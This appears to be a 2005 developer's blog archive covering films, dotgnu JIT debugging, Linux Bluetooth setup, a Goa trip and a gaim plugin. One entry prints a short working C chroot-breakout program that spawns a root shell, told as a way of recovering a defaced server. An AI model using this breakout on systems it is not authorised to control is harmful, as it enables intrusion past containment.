< November 2005 >
   1 2 3 4 5
6 7 8 9101112
Mon, 28 Nov 2005:

Ran into this while watching Hitchhiker's Guide to the Galaxy movie. You know how the ship turns into different things before normalcy is restored ? Well, the last thing the ship turns to is a face, a very interesting face.

When I was reading Going Postal, one particular concept hit me harder than the whole book's story. A man's never dead while his name's still spoken, maybe they aren't till they are forgotten. After all, does a falling tree make a noise if there's nobody to hear it.

Hitchhiker's Guide to the Galaxy, page 461 - has the question

posted at: 11:20 | path: /movies | permalink | Tags:

Revisited some movies to just listen to some songs. Starting with the funny stuff. Like the >Kyle's mom's a big fat bitch from Southpark or the What would Brian Boitano do (the guitar at the end of that is nice) from the same. Or the out and out hitting of Monty Python's Meaning of Life - Every sperm is sacred. Apparently they went on for around 3 whole minutes, dropping aitches off neighbour'ood and in general pointing out that it was a double standard in terms of the value of life. The Third World reference about Yorkshire and the protestant neighbours talking all make for an excellent joke. But I must say that the tiger part of the cross-talk is what I really like in that. I wonder how hard that must have been, considering that the guy who's missing the leg (Eric Idle) is the same guy who's wearing the tiger's head. Btw, look at the South Park post just before this and see if you can find Eric Idle there.

Came round to LOTR: Return of the King, in the scene where the horse charge towards the white city happens. The violins and cellos on that really take you high up and leave you expecting a fall. A failure of epic proportions awaits, but the music will take you so high that to give up is not an option. It is moments like these when the music wraps you into the movie.

Watched XXX, with Vin Diesel all pumped up. It was quite stupid all in all, but with some flourishes. Like water scrubbing being used to clean up the Silent Night nerve gas. Saw bits of The Rundown and finally I should say that Sean William Scott can act. Nobody who has seen American Pie will believe, but it seems to be the fact. The real clicker in my head was a sign post they pass on the way to El Dorado, which has an 'H' and an extra 'L', on either side of El scratched out from the background paint.

Rockstar, was a nice movie. Especially the second song in the concert which goes like Risk my soul, test my life/ Spend my time, lost in space/ Let the river flow, through my calloused hands. . The base guitar on that is like mesmerising. I was always one to listen to more violins and cellos rather than listen to stuff that's been plucked. But that particular tune, sort of make me forget someone is playing it on a guitar. Also hit the last bits of School of Rock to listen to the second song there. The one that goes something like It's a long way to the top, if you want to rock and roll ... .

Even a bit of Simpsons. The Lisa's Sax episode has an absolutely mind blowing ending with the sax (I think it is from Baker Street, by Geff Rafferty). The other one was the ballad in the Last Exit to Springfield. This was the infamous episode with the So I tied an onion to my belt, which was the style of the time. You know the Gimme five bees for a quarter episode. Anyway here's what Lisa was singing

Gather round children
It's high time ye learned
About a hero named Homer
and a devil named Burns

So we marched day and night
round the big cooling tower
They have the plant,
but we have the power

A few years back, I used to go and watch National Geographic specials at my grandfather's older brother's. He was (or rather still is) a zoology teacher and had an amazing collection of David Attenborough which I suppose has recently fallen prey to fungus and disuse. The real thing the BBC team had (especially Bristol 4:2:2) had was a feel for the music. The wild chases on the savannah, the stalking in the bushes and the ambush on trees were all played out to a background music. It was as if the animals were acting out a play, in tune to the music - like some Jackie Chan movie, only with less flying and kicking.

Who wouldn't be interested in everything we do?!
                   -- Calvin

posted at: 11:10 | path: /movies | permalink | Tags:

Fri, 25 Nov 2005:

I was watching South Park : Bigger, longer and uncut sometime a couple of days (yeah, my memory is a little hazy). I ran into this little prank in the credits.

And to think the movie was released in 1999, when there was no war for Freedom in Iraq, 911 was yet to happen. And Saddam was just another of the world's tyrannical dictators of oil rich nations.

Mistakes like that are the signature of creators.
Do no confuse them with errors of mortal men.

posted at: 20:10 | path: /movies | permalink | Tags:

Imagine that you arrive home at around 11 PM, feeling tired. Not just tired - you have a cold and slightly wet from walking in the rain. The path between you and your bed is clear of all obstacles. You basically fall in, slightly wondering what that pleasant smell is. A thought in your head says, at least it's not a bad smell. And you fall asleep.

At around 11:30 AM the next day, you wake up. Your eyes feel as if they have itched all your life. Your throat feels as though you had been drinking cheap arrack all night long, sort of a vapour trail coming back out and you can't go near open flames. To match, your head feels like it is suspended a few inches above your neck and not necessarily connected. I tried to stand up, but didn't get quite vertical before reverting to the more stable of positions.

Nearly at 3 or 4, I managed to climb out of my blankets. And after managing to get some coffee and more importantly, fresh air to my brain things became clearer. A LOT clearer. Apparently my room-mate, before he left for chennai, had sprayed baygon or something. With windows closed and fan running full speed (well, to dry clothes) - it must've been a pretty stiff dose that I got. It must've been extra heavy because I was sleeping on the floor.

	No Dinner +
	15 hours in office +
	No sleep last night +

In short, I have to stop coming home early. On a usual day, I'd have hardly got 6 hours of bedside air in my lungs.

What kills you doesn't make you weaker

posted at: 19:44 | path: /me | permalink | Tags:

Mon, 21 Nov 2005:

Dotgnu has a new task at hand and it is worth 4 lakhs to whoever would care to do it. The task is simple and straight forward, you need to write a fast i686 JIT for dotgnu. Half the task is already done in libjit - which has around 65 KLOC of code. All you need to do is finish the x86 engine in there, with the help me and many other dotgnu folks around the place.

For those who feel that they can help and want to, please contact me. Read the original announcement here. Tell your friends, ask them to tell your friends. Circulate it in your LUG, circulate it in your college. Do whatever it takes, we need this JIT (and other projects like rubydium will also gain).

posted at: 14:44 | path: /dotgnu | permalink | Tags:

Almost all design textbooks for Java or C# talk extensively about Interfaces. Did you ever stop to wonder how expensive an interface call actually is ? It is a very expensive lookup through the class heirarchy practically killing all data in your cache in most cases. But someone has already run into this before.

The RVM team in IBM had a very simple and direct way of caching the interface lookups in the class entry itself. This was published as a paper in OOPSLA in 2001, titled "Efficient Implementation of Java Interfaces: Invokeinterface Considered Harmless". Now I would like to correct that and say Invokeinterface: mostly harmless.

The solution is simple and elegant. Build an "Interface Method Table" (IMT) for a particular class, from the interface information in that class. Each interface method in the system is assigned a unique identifier. The identifier is used to hash into a fixed-sized table of method entry points, similar to a vtable. In most cases, the hashed position will be the right position.

RVM handles hash conflicts by using a set of stubs which are inserted in the slots of the IMT. The pnet engine cannot do that directly because we JIT method by method, unlike RVM which does this for an entire class. So we do not know the address of the other methods in the conflict resolution and it is considered a bad thing to go back and modify running code (*duh*). Or we could convert all of those and waste precious heap space. In short, we don't do what RVM does. We just store a NULL pointer in that slot and takes the old codepath if we hit a NULL during lookup.

#define    IL_IMT_SIZE        37

struct _tagILClassPrivate
#ifdef IL_USE_IMTS
    ILUInt32        imtBase;            /* Base for IMT identifiers */
    ILMethod       *imt[IL_IMT_SIZE];    /* Interface method table */

problem #1: generating a unique identifier for each interface method.
Was an easily solved problem with the following code, for each interface.

            size = (ILUInt32)(classPrivate->vtableSize);
            classPrivate->imtBase = process->imtBase;
            process->imtBase += size;

After all that will be unique in each engine running, till we flip over the bits in imtBase. The I came to the real code generating the IMT table.

    /* Process the implementation records that are attached to this class */
    impl = classPrivate->implements;
    while(impl != 0)
        implPrivate = (ILClassPrivate *)(impl->interface->userData);
            size = (ILUInt32)(implPrivate->vtableSize);
            /* Process the members of this interface */
            for(posn = 0; posn < size; ++posn)
                imtIndex = (implPrivate->imtBase + posn) % IL_IMT_SIZE;
                vtableIndex = (ILImplPrivate_Table(impl))[posn];
                if(vtableIndex != (ILUInt32)(ILUInt16)0xFFFF)
                        /* No conflict at this table position */
                        classPrivate->imt[imtIndex] =
                        /* We have encountered a conflict in the table */
                        classPrivate->imt[imtIndex] =
                            (ILMethod *)(ILNativeInt)(-1);
        impl = impl->next;

    /* Clear positions in the table that indicate conflicts */
    for(posn = 0; posn < IL_IMT_SIZE; ++posn)
        if(classPrivate->imt[posn] == (ILMethod *)(ILNativeInt)(-1))
            classPrivate->imt[posn] = 0;

All pretty straight forward ? I suppose, you must be reading VM code for the first time. Well, you pull out the imtBase and add the index, hash it into IL_IMT_SIZE buckets and mark with -1 if conflicts exist. Finally roll over all the -1 entries into NULL and you have an interface hash table ready and rockin'.

problem #2 : where to use the imt ?
In the COP_CALL_INTERFACE method, you dolt. Here, watch the code scroll by.

    /* Locate the method to be called */
    #ifdef IL_USE_IMTS
        methodToCall = GetObjectClassPrivate(tempptr)
            methodToCall = CVM_ARG_DWIDE_PTR_SMALL(ILMethod *);
            methodToCall = _ILLookupInterfaceMethod
                 methodToCall->member.owner, methodToCall->index);

Is that all ? Oh, wait. This was what Rhys did up when he implement IMT on 2003-07-13. So why am I saying all this now, because the above code fails when I use an IL_IMT_SIZE = 37, but works when I use 41. Between two strong coffees, three appams, two dosas and an entire half litre of Mountain Dew - I managed to debug the hell out of it.

The above code did not traverse up the parent tree to look for interfaces. Therefore there was a hidden hash collision, but only when I run an entire suite of tests (thanks to process->imtBase value, in hindsight). Thanks to the whole lot of threading, I switched back to printf for debugging. It paid off, here's what I got.

 ModuleBuilder->imt {
 /* IDetachItem */ 
     0 : (empty)
     31 : System.Reflection.Emit.IDetachItem.Detach
     36 : (empty)
}; /* ModuleBuilder */

cvm_call.c:1099 found <ModuleBuilder:System.Reflection.Emit.IDetachItem.Detach> for <IClrProgramItem:get_ClrHandle> 

Hey, where is IClrProgramItem in the ->implements of ModuleBuilder. It turns out that ModuleBuilder inherits from Module, which implements IClrProgramItem and was therefore wasn't checked by the IMT code for collisions. So now the code for looking up through the parents for the interfaces they implement is being testing. And it looks promising :)

For more details, hit the code.

I'm a two bit coder, but I make things work

posted at: 12:20 | path: /dotgnu | permalink | Tags:

Sun, 13 Nov 2005:

Contrary to what I thought, Rhys can indeed make mistakes. For the last two weeks, I've been pissed off by an absolutely untraceable bug in the AMD64 engine. One single test case inside the engine fails to pass.

TestMarshalOffsetOf ... failed: 
    CSUnit.TestAssertFailed: Test failed: OffsetOf (6)
    at CSUnit.TestCase.Fail(String) in ./TestCase.cs:14
    at TestMarshal.TestMarshalOffsetOf() ....

Thanks to foresight by the FFOD [1], debugging the engine is far easier than most people would imagine. All it requires is for you to comment out things till stuff works and then hit on the one that you last commented [2] . The opcodes which aren't JIT converted to native code automatically fall back on the C-version which has been working on AMD64 for a couple of years now (that's what keeps my hair on my head and my stomach ulcer free). The real trick is to imagine what is happening and comment out the right one first off. So after commenting a lot of code, I finally hit on the right one (this was on 29th night, sometime near 3:30 AM). It was the following code

    /* Write a word field to an object */
    unsigned temp = (unsigned)CVM_ARG_BYTE;
    GetTopTwoWordRegisters(&unroll, &reg, &reg2,
                           MD_REG1_NATIVE | MD_REG2_32BIT);
    CheckForNull(&unroll, reg, pc, (unsigned char *)inst, 0);
    md_store_membase_word_native(unroll.out, reg2, reg, (int)temp);
    FreeTopRegister(&unroll, -1);
    FreeTopRegister(&unroll, -1);

Now fastforward to saturday night, November 12th. I was bored, this was pending and valgrind wouldn't load 64 bit binaries, nor would it let me use cachegrind on the 32 bit VM (thanks to libgc's stack probes). OK, now that I have started on this whole bloody thing, the next obvious step was to figure out on what exact arguments the whole thingy goes for a toss. It turns out that it explodes to tiny bits when temp is 0. So the obvious workaround looked like this.

unsigned temp = (unsigned)CVM_ARG_BYTE;
if(temp == 0) goto defaultCase;

But the md_store_membase_word_native was supposed to work even when displacement was zero. So I had a look at the code with gdb while in execution.

if(temp == 0) amd64_breakpoint(unroll.out);
md_store_membase_word_native(unroll.out, reg2, reg, (int)temp);

Now we have to head into assembly programming territory. But the good news is that AMD64 isn't that different from x86 at all. So this is what I do in gdb to debug code which was generated directly in binary form.

Program received signal SIGTRAP, Trace/breakpoint trap.
(gdb) x/5i $pc-2
0x2a97a6e277:   rex64 int3                 # breakpoint
0x2a97a6e279:   mov    %rcx,(%rax)         # mov_membase
0x2a97a6e27c:   sub    $0x20,%r14          # stack update 
0x2a97a6e280:   mov    $0x2a97a6e1c4,%r12  # load next insn
0x2a97a6e28a:   rex64Z jmpq   *(%r12)      # jump there 

Everything there looks as it should. Around 15 minutes after staring at the binary code generation, I came to the conclusion that the displacement isn't the issue at all. There was something subtle I was missing in all this. After the first half hour, I had almost given up on the code - then I put a breakpoint before the registers are loaded, and ran the testcase again.

(gdb) x/12i $pc
0x2a97a6e250:   mov    -8(%r14),%ecx  
0x2a97a6e254:   mov    -16(%r14),%rax 
0x2a97a6e258:   or     %rax,%rax          # null check       
0x2a97a6e25b:   rex64 jne    0x2a97a6e279 # if == 0
0x2a97a6e262:   mov    %rax,-16(%r14)     # restore
0x2a97a6e266:   mov    %ecx,-8(%r14)      # arguments
0x2a97a6e26a:   mov    $0x2a97a6e1b4,%r12 
0x2a97a6e274:   jmpq   0x2b00451a8a       # rexecute 
0x2a97a6e279:   mov    %rcx,(%rax) 
0x2a97a6e27c:   sub    $0x20,%r14         # stack += 2 * 8
0x2a97a6e280:   mov    $0x2a97a6e1c4,%r12
0x2a97a6e28a:   rex64Z jmpq   *(%r12)

So after a couple of minutes, the highlighted code peices hit my brain properly. I was storing to ECX and writing from RCX. The word register was being loaded in 32 bit mode, not the full and glorious 64 bit mode. And this is a pointer write, so some pointer somewhere in the generated code was being truncated by the above code. In hindsight it was a very obvious bug - but hindsight is always 20/20. Fix was very simple, change the MD_REG2_32BIT to MD_REG2_NATIVE and it stops truncating the pointer to be stored. Next in line, array read & write inlining.

There is a moral to this story, so to speak. Do not judge anyone's contribution to any project by mere linecount. This single line fix too me over 6 working hours over a period of 17 days to locate, track down and fix. The results are obvious to anyone who runs my souped up engine.

Benchmark Interpreter Unroller
Sieve 1665 10775
Loop 1773 22638
Logic 1637 14895
String 16021 19465
Float 222 458
Method 1569 8013
PNetMark (Weighted Sum) 1731 7986

This new and improved engine beats the hell out of the 32 bit mode JIT on the same machine (and I barely put in 30-odd hours into building this). All the small CPU-specific optimisations add up to a huge difference in performance. I am a R!c3r and AMD64 R0xx0rs.

[1] Flying Fingers of Death : Rhys Weatherley
[2] ease of debugging : If you thought I was joking, think again. Most JITs follow an all or nothing policy, where if you comment out an opcode, code with that opcode will just fail. Inside pnet code, it falls back gracefully to the interpreter core.

posted at: 14:45 | path: /hacks | permalink | Tags:

I bought a Nokia 6021 more than a month ago. What with all the things going on, I've never had time to play around with it properly. You see, I belong to the rare category of people who can't leave a working thing alone. So I went out and bought a Bluetooth dongle yesterday evening. Came back home and plugged it into my big honkin' AMD64 box.

usb 2-1: new full speed USB device using address 2
usb 2-1: device not accepting address 2, error -71
usb 2-1: new full speed USB device using address 3
Bluetooth: Core ver 2.6
NET: Registered protocol family 31
Bluetooth: HCI device and connection manager initialized
Bluetooth: HCI socket layer initialized
Bluetooth: HCI USB driver ver 2.7
usbcore: registered new driver hci_usb

I remember the time when I had to spend 3 days to configure X11 on an i810 with more than 16 colours. Recently, linux (yes, the kernel) has been surprising me with the array of hardware it supports. The last time I plugged in a USB DVD+RW, it just popped up the dvd creator. Was scary to see too many things just work, without knowing what to do if something doesn't. Thankfully the trip to a hooked up mobile was just starting.

Turned on the battery eating bluetooth monster on my mobile, and started scanning. It diligently picked up my roommate's laptop, but not my own box. Suddenly, I remembered that there was something called /etc/init.d/bluetooth, duh ?. Started that up and watched what happened.

Bluetooth: L2CAP ver 2.4
Bluetooth: L2CAP socket layer initialized
Bluetooth: RFCOMM ver 1.3
Bluetooth: RFCOMM socket layer initialized
Bluetooth: RFCOMM TTY layer initialized
Bluetooth: HIDP (Human Interface Emulation) ver 1.0

"Wohoo !" I said, but a bit too prematurely. All I had managed to get working was the hci interface itself. Which is a good first step, but doesn't really get you anywhere special - just like that road in front of you house.

[root@phoenix ~]# hciconfig 
hci0:   Type: USB
        BD Address: 00:02:72:B0:00:** ACL MTU: 192:8  SCO MTU: 64:8
        RX bytes:139992 acl:3551 sco:0 events:2021 errors:0
        TX bytes:37530 acl:1766 sco:0 commands:136 errors:0

The device finally showed up on the pairing screens. But Nokia doesn't allow me to not use a passcode for pairing bluetooth. The OK button appears only after you have entered at least one digit. It was not really obvious to me that you could enter alphabets in there - so my hunts for a default pin code went into a grep for 4 digit numbers. Finally after some time I noticed the file "/etc/bluetooth/pin" which had "BlueZ" inside it. Changed that 0000, restarted bluetooth and tried pairing. Voiced yet another exulted shout which would have raised eyebrows in a bar. And yet again, too premature.

[root@phoenix ~]# hcidump 
HCIDump - HCI packet analyzer ver 1.11
device: hci0 snap_len: 1028 filter: 0xffffffffffffffff
> HCI Event: Connect Request (0x04) plen 10
< HCI Command: Accept Connection Request (0x01|0x0009) plen 7
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: PIN Code Request (0x16) plen 6
< HCI Command: PIN Code Request Reply (0x01|0x000d) plen 23
> HCI Event: Command Complete (0x0e) plen 10
> HCI Event: Link Key Notification (0x18) plen 23
> HCI Event: Connect Complete (0x03) plen 11

Now that the phone is linked up using bluetooth, then the hunt started for things to use it with. Installed gnokii and openobex from my local dag (fc3_x86_64) mirror. It should be worth mentioning that I don't have a net connection at home, if I needed anything from outside it would've been a washout. So I went hunting for services with sdptool.

phoenix# sdptool browse
Inquiring ...
Browsing 00:13:70:C3:**:** ...
Service Name: OBEX Object Push

phoenix# sdptool browse --tree  00:13:70:C3:**:** | grep "Text 
  Text : "OBEX Object Push"
  Text : "OBEX File Transfer"
  Text : "Dial-up networking"
  Text : "Nokia PC Suite"
  Text : "COM 1"
  Text : "Voice Gateway"
  Text : "Audio Gateway"
  Text : "SyncML Client"
  Text : "SIM ACCESS"

Lookin' good. But I wasn't home and dry yet, though you could think of me as near home, with a towel handy. Gnokii was what I tried next. But the docs of Gnokii are particularly sparse about how to use an unlisted Nokia phone. So when trying with 6021, all I got was.

[root@phoenix etc]# gnokii --identify
Telephone interface init failed: Model specified isn't supported.
Sorry, phone has not yet been converted to new style. 
Phone.Functions == NULL!

Even worse, the port number for Gnokii requires the identifer of the phone and not your local port. This made sense in hindsight as there would be multiple paired devices with your BT adapter - but wasn't really clear to start with. So the /etc/gnokiirc modding started up in full earnest.

# Use this setting also for the Bluetooth connection:
# port = aa:bb:cc:dd:ee:ff

port = 00:13:70:C3:**:**

connection = bluetooth

Then I tried setting the phone type to 6600, with slightly better results. The phone at least showed a Do you want to connect to 'mordor' message before gnokii crashed.

Serial device: opening device 00:13:70:C3:**:**
Message received: 0x01 / 0x0002
00 01                                           |                 
Received message type 01
gnokii: pkt.c:55: buffer_expand: Assertion `buf->size 
        >= buf->offs + len' failed.

Since I had worked with Ericsson phones a LOT, I just tried reading what README-ericsson said. It struck me that plain old AT terminal mode might work with any GSM phone - Nokia or otherwise. That works well enough for me.

# Set model to the model number of your phone
model = AT

Restarted gnokii and it worked. Then I tried connecting to the serial AT port with minicom. Just to make sure the AT terminal interface is functional.

Nokia 6021
[root@phoenix ~]# gnokii --identify
IMEI         : 35623300132****
Manufacturer : Nokia
Model        : Nokia 6021
Revision     : V 03.83

Encouraged by the results, I pulled out the gnokii GUI (xgnokii) and tried it out. I was able to read my phonebook, update entries, send SMS and make calls with xgnokii. Looks very promising for some hack to sync my phone to a PIM/Calendar organizer.

One of these days, I'll sit down and see if I can find out the exact protocol that 6021 uses and hook this up properly with Gnokii. But that day might be very very far indeed. Because I've got a lot more to do on weekends than just hack on some random thing.

posted at: 14:30 | path: /hacks | permalink | Tags:

Fri, 11 Nov 2005:

I don't usually boast about my hacking exploits, but this is one occasion when I can claim that I did the right thing by breaking the security of a linux server. Let me explain the scenario. Dotgnu.org was cracked by a bunch of script kiddies on November 1st. They defaced the website and left their message all over the website.

Cracker's message instead of dotgnu.org

These were a bunch of script kiddies who were using a canned script targetting phpnuke installation on the same box which was serving getdotgnu.com. We managed to track them down immediately, thanks to help of many dotgnu people (and others as well). Some people had very funny stuff to say about the incident like this blog. It got to the stage where the kids came to #dotgnu and sort of apologized. They all do when pushed to a wall and held there.

[02:28] <DigitalMind> no comments
[02:28] <DigitalMind> peace
[02:32] <Belial-> Digitalmind: I wouldn't call you hackers but script kiddies
[02:32] <Digitalmind> we arent hackers
[02:32] <Digitalmind> if u think we are script kids
[02:32] <Digitalmind> we dont really care
[02:33] <Digitalmind> im the founder of digitalmind
[02:39] <Digitalmind> we never called our selfs hacker
[02:39] <Belial-> Digitalmind: you're in the wrong crowd if you want praise
[02:39] <Belial-> what you're doing is easy and wrong
[02:40] <Digitalmind> and i came here in peace
[02:40] <Digitalmind> i dont want to fight
[02:40] <Digitalmind> and shit like that
[02:42] <Belial-> if you ever grow out of that phase maybe you can be a real programmer too
[02:42] <t3rmin4t0r> some of us did
[02:47] <Digitalmind> peace
[02:47] <t3rmin4t0r> forgiven, but not forgotten

For the last 10 days the server has just been hanging there without a proper admin to restore the code. Thankfully I had a login on that particular box which hosts the server, because it hosts this blog too. Also we had got a new domain called maybe.dotgnu.info for the google Summer of Code intern (krokas), which was running debian. The first domain was running hardened gentoo (from what I can read/guess). I had root on maybe.dotgnu.info, but not on the gentoo chroot which was hosting dotgnu.org and t3.dotgnu.info. So here's how you break out of a chroot if you already have root access and why FreeBSD jail() is a LOT safer than a chroot'ed server.

The exploit is based on the fact that chroots are flat. There is no such thing as a nested chroot. So when you chroot from inside a chroot, you are doing the equivalent of a single chroot. The scary part is that the application which did a chroot can traverse out if it has root privileges - but which is not applicable for an application started inside a chroot. Voila, an easily exploitable hole.

int main()
	int i;
	char dirtemp[] = "/tmp/chroot-breaker-XXXXXX";
	assert(mkdtemp(dirtemp) != NULL);
	assert(chroot(dirtemp) >= 0);
	for(int i = 0; i < 1024; i++) chdir("..");
	assert(chroot(".") >= 0);
	assert(execl("/bin/sh", "-i", NULL) >= 0);
	return 0;

The ready to use break_chroot.c. Could it be any more simpler ? So next time you set up a server properly, make sure you set it up with something like User Mode Linux or Xen, rather than just relying on a chroot for security.

And to think I spent 4 hours writing shell code for the do_brk() attack vector. Sometimes simple solutions work out very nicely indeed. Anyway the important part is that, dotgnu.org is back and running.

I felt that old rush of illicit pleasure coming back - after all, God, root, what is difference ?.

* My next box is your linux server

posted at: 02:40 | path: /hacks | permalink | Tags: ,

Tue, 08 Nov 2005:

We went to Goa this weekend. All Five of us - f3ew, spo0nman, lunatech, segphault and t3rmin4t0r (that's me) - had booked a bus to Goa on friday night. We were all supposed to meet up near Forum at 7:30 PM, I was slightly late and arrived there ten minutes late. We promptly proceeded to get ourselves filled up with coffee and wait around for the bus.

We're having coffee in koramangala

F3ew was officially designated as the organizer, lunatech was intentionally left blank for documentation, me, vinayak and spo0nman was assigned to do the music critique. The bus to Goa was a sleeper, but I wouldn't call it a full sleeper. It was about 4 feet and few inches long. But I did sleep, mainly because the previous night I had stayed awake till 5 in the morning.

Teh organizer boogie

We woke up sometime around 6 in the morning when the bus stopped for coffee. Vinayak was fast asleep, the rest of us got out and had a mixture of milk, sugar and instant coffee in very hot water. We all again feel asleep quickly - proving our low opinion of that liquid. We got to goa by sometime around 10 and Arvind was there to pick us up in his white maruti. It took quite some adjusting to get the centre of gravity of the car back into it's centre - we had to put Rajshekhar in the front and Pankaj diagonally opposite to achieve optimal weight load on the tires.

The hotel was called Village Royale and had the mandatory amount of white skin showing near the pool. We all found some shade and grabbed some drinks. Karunakar was in Goa at the time and showed up with Arvind at 1:45. We sat there just chillin', slowly moving inwards to escape from the burning sunlight.

Waste not, want not

After breakfast, all of us headed towards Calangute beach. The car was too small, so the fat guys and the long guy (read Raj, Pankaj and me respectively) had to walk. It was around a couple of kilometres to walk to calangute beach. The first thing we did was try to walk barefoot, which was when we realized the sand was HOT. We ran for shelter.

Life guards are cool because they stay in the shade

We found a comfortable shack near Baga beach and decided to dig into the food. Even though it was a shack, it had very uncomfortable chairs - the sort that leaves welts on your skin. The food there was sort of tourist taste rather than authentic goan according to Arvind - I wouldn't know, because there is no authentic goan veg food.

Lunch takes it's sweet time.

These guys show the fish before they cook it and we saw a fresh fish with all it's guts thrown out. Half an hour later, the fish arrives sliced up and cooked. If I remember, it was called a Rava Fry.

Kingfish - before and after

Me and Karunakar were the only vegeteraians in the group. I didn't have any problems with others eating fish at the table, though Karunakar was constantly trying to get some of the sea air - though which turned out to be mainly comprised of smoke from Pankaj.

Karunakar looks z0nked

We headed to the beach and we started walking barefoot across the beach. After a quick dip in the sea, which was pleasantly cool, we decided to split up. Us three Yahoo!s headed towards Calangute from Baga on foot, Devdas and Vinayak headed with Arvind towards Panjim to book return tickets. We walked the length of the beach looking the sun-bathers and nearing sunset we walked into a shack for beers.

Party on the Beach, Footwear optional

Routine is hard to break. I didn't break my routine of pool in the evening, nor the pastry eating segment (slice of bananna tart, cheese cake and a chocolate mousse). The pool table was too good for a beachside place. It was floor mounted on adjusters, but unfortunately too high for pankaj or raj to play and barely high enough for me to play long shots. But we played anyway, with a sunset in the background and beer near the table. Beats office anyday.

8-Ball in centre pocket

Keep your eye on the ball ...

I don't drink at all, but I was feeling a bit too high from all the beach. Maybe all my blood was flowing a lot further away from my brain. People watching really takes a lot out of me - I really need to get a camera and let it remember what I saw. But I can't even shoot with a camera. This photo was taken with the camera by yours truly (4X zoom). Enjoy.

A moon, upside down and moving fast

Dinner was mostly about tales and tribulations. About our own BOFH operations, IIT stories, laptop craziness and discussiosn about email social engineering for unmoderated lists. And Pankaj had a lot of trouble finding cigarettes, and then lighting them - ergo, we got a candle. I had dinner despite the fact that I had just filled up on pastries. We split up from the dinner table past midnight and went on to watch stuff on the laptop. I read through half of the Carpet People by Terry Pratchett that night.

Geek tales

Sunday was mostly spent sleeping off. All of us slept in till late morning or at least I think so.

They don't make beds like they used to

Somehow or the other, we all managed to end up at Fred's place. We drove there in arvind's car with all our baggage. This time too, we had to take precautions for balancing the car properly. Fred was talking, especially because we had opted-in by showing up at his door. We all lazed out there for an hour and some more talking about communities, mitotic reproduction of LUGs and mail clients.

Lazing around at Fred's

After all the fun, we ended up at Panjim. At the cafe coffee day, we had some coffee - there was a pretty girl sitting there (with her parents, sadly). Too bad we couldn't manipulate our seating around enough to get a decent pic of her. We even watched the match and my prescience was acting up as well. Vinayak was shocked at my prediction about Raina's batting - I told that "That kind of shot tells a bowler that he (the bowler) can get him out the next ball " and it happened just like that. After all, I'm a medium pace bowler who used to get wickets just because I could read batsmen.

Settled accounts, settled down

The trip back was horrible. It was a mini-bus and it had a clueless driver, one of those extra buses that are run on the weekends in season. It was late to start and we spend the extra time discussing our respective managements - I must have been psychic that day. I remember discussing about corporate arrogance with Vinayak, without knowing friday's Yahoo! stunt.

Where the **** is our BUS ?

It is said that if someone climbed Mount Everest, they'd find a mallu sitting there with a tea shop. It is almost true - I have found a mallu anywhere I've gone so far. This time the two guys sitting in the next seat were mallus. But the bus was really uncomfortable, as you can see. We plugged in my headphone into Vinayak's iRiver and listened to music (Paul Van Dyke, Chicane, Paul Oakenfold, Bond). Me and Pankaj had to share an earbud each (as you can see in the photo).

Inside the bus

The journey was very tiring. We tried to sleep, but had a lot of trouble doing it. We talked till about 3 in the morning and slept only after the iRiver ran out of batteries.

No comment

It was a fun trip. We'll probably take a similar trip to Kerala. Maybe go to thekaddy, visit allepy and hit the beaches of Kovalam. In case I forgot to mention, we didn't really hack anything while we were in Goa.

posted at: 17:42 | path: /travels | permalink | Tags:

Thu, 03 Nov 2005:

More work on the unroller. Mainly comparison, shift and conditionals for AMD64. The code is pretty simple. It is for all practical purposes identical to the x86 versions. For example, the shift code looks something like this.

md_inst_ptr _md_amd64_shift(md_inst_ptr inst, 
                            int opc, 
                            int reg1, 
                            int reg2)
    if(reg2 == AMD64_RCX)
        /* The shift value is already in ECX */
        amd64_shift_reg_size(inst, opc, reg1, 4);
    else if(reg1 == AMD64_RCX)
        /* The value to be shifted is in ECX, so swap the order */
        amd64_xchg_reg_reg(inst, reg1, reg2, 4);
        amd64_shift_reg_size(inst, opc, reg2, 4);
        amd64_mov_reg_reg(inst, reg1, reg2, 4);
        /* Save ECX, perform the shift, and then restore ECX */
        amd64_push_reg(inst, AMD64_RCX);
        amd64_mov_reg_reg(inst, AMD64_RCX, reg2, 4);
        amd64_shift_reg_size(inst, opc, reg1, 4);
        amd64_pop_reg(inst, AMD64_RCX);
    return inst;

Now, who can complain that I don't comment my code (like War2 did the last time I showed him some of my PPC JIT code). The reason the above code i so long is simply due to the fact that the shift instruction has RCX as the implied value to shift. Are there anybody here who didn't actually understand what the above code does to work around that ? :). Ok, so let's look at the PPC equivalent, shall we ?

#define	md_shl_reg_reg_word_32(inst,reg1,reg2)	\
			ppc_alu_reg_sds((inst), PPC_SL, (reg1), (reg1), (reg2))

It is a single instruction - PPC_SL, which accepts 3 registers. Do you see how much cleaner PowerPC is in comparison to the implied argument shit in x86. And all registers are equal in PPC - so I can probably do R7 = R7 << R7 and have it work directly. I can imagine the amount of heartburn the guys who did the x86 optimizations went through. For now, I am one of them.

If code is poetry, I write limericks.

posted at: 20:50 | path: /dotgnu | permalink | Tags:

Yesterday evening (as in 7:30 PM) I started writing a gaim plugin for myself. This thing would tell me who exactly is talking to me. For example, if I wanted to talk to lunatech3007, I get the following.

It will tell me what this guy who's pinging me does in Yahoo !. The plugin was pretty simple enough to write - except of doubts about what to do with the g_free vs free functions. Did you know that all memory allocated with g_new0 has to be g_free'd. In hindsight, it does make a lot of sense. Here's some code for the coding oriented. I hook into the "conversation-created" signal with the gaim_new_conversation callback.

gaim_signal_connect(conv_handle, "conversation-created", plugin, 
                    GAIM_CALLBACK(gaim_new_conversation), NULL);

In the conversation-created, I use libcurl to fetch the HTML of the employee search. Use regex.h to extract the name, title and email-id. It's pretty much standard POSIX regex to extract the data required.

reg_err = regexec(&title_pattern, html, 3, matches, 0);
    int start, len;
    start = matches[1].rm_so;
    len = matches[1].rm_eo - matches[1].rm_so;
    if(len != 0)
        data->title = calloc(len+1, sizeof(char));
        memcpy(data->title, &html[start], len);

Finally having got all the data, it is written out to the user as a system-message.

gaim_conversation_write(conv, NULL, message,

Also add an in-memory cache so that it doesn't hit the webpage for each and every conversation. Had to spend quite some time fiddling with the hash functions till I got the hang of it. I already had a string hash function that I use regularly in C when I need hashtables - but sometimes it is better to go with the standard stuff.

user_data_cache = g_cache_new(get_user_data,
static guint user_data_hash_func(gconstpointer key)
	if(key == NULL) return 0;

	return g_str_hash(((user_data *)key)->id);

Finally compile it up, push it into ~/.gaim/plugins/ and restart gaim. Navigate to the gaim plugin configuration and turn it on.

